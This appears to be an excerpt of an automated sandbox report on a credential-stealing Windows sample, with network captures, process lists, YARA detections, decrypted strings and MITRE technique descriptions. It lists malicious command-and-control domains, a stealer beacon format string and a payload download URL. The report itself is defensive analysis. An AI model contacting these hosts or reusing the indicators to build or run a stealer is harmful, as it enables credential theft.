C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.7	49949	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:24 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:25 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:25 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 073925de-a01e-0032-2d8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164225Z-1777c6cb754gc8g6hC1TEB966c00000009w000000000ap58 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:25 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.7	49954	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:24 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:25 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:25 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 9bd4509d-401e-005b-16fa-3a9c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164225Z-r1d97b99577656nchC1TEBk98c000000092000000000qm8t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:25 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	49950	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:24 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:25 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:25 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: d5dea27c-d01e-00ad-3c8c-3ae942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164225Z-1777c6cb754gvvgfhC1TEBz4rg00000009tg00000000w1r4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:25 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.7	49955	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:25 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:25 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:25 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: bfe6eb71-201e-006e-168c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164225Z-1777c6cb754whff4hC1TEBcd6c00000008hg000000007ppw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:25 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.7	49963	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:27 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:27 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:27 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 0092d5d1-d01e-00a1-5b05-3b35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164227Z-1777c6cb754g9zd5hC1TEBfvpw00000009xg00000000qtn4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:27 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.7	49967	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:27 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:27 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:27 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: e0cb7cf3-901e-005b-5406-3b2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164227Z-r1d97b9957789nh9hC1TEBxha8000000094g00000000r37w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:27 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	49965	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:27 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:27 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:27 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 4ac405f8-001e-002b-168c-3a99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164227Z-1777c6cb754rz2pghC1TEBghen00000009vg0000000011da x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:27 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49966	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:27 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:27 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:27 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 4e85307b-101e-007a-398c-3a047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164227Z-r1d97b99577656nchC1TEBk98c000000091g00000000stq4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:27 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Target ID:	0
Start time:	11:41:18
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x140000
File size:	1'842'688 bytes
MD5 hash:	FF1C291B46FB3ADA2BDB55BA4C14BCFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1408564784.0000000000F63000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1435311387.0000000000F66000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1438497350.0000000000F6E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1409004952.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1361660637.0000000000F62000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1408596086.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1384947171.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1384897360.0000000000F63000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1435026656.0000000000F63000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1435268441.0000000000F64000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1362364363.0000000000F64000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1386013914.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:25:34
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	13:25:34
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1924,i,16693149984039008949,18427732997764737227,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	13:25:36
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0xf60000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:25:36
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1928,i,15905540884992955177,16070851734019653976,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://cook-rain.sbs/Hf	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/zf	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/Wf	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/api_	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/Af	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apibe	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exeI	Avira URL Cloud: Label: phishing

Source: 00000000.00000002.1677147842.0000000000141000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p3ar11fter.sbs
Source: 00000000.00000002.1677147842.0000000000141000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 3xp3cts1aim.sbs
Source: 00000000.00000002.1677147842.0000000000141000.00000040.00000001.01000000.00000003.sdmp	String decryptor: peepburry828.sbs
Source: 00000000.00000002.1677147842.0000000000141000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p10tgrace.sbs
Source: 00000000.00000002.1677147842.0000000000141000.00000040.00000001.01000000.00000003.sdmp	String decryptor: processhol.sbs
Source: 00000000.00000002.1677147842.0000000000141000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1677147842.0000000000141000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1677147842.0000000000141000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1677147842.0000000000141000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1677147842.0000000000141000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

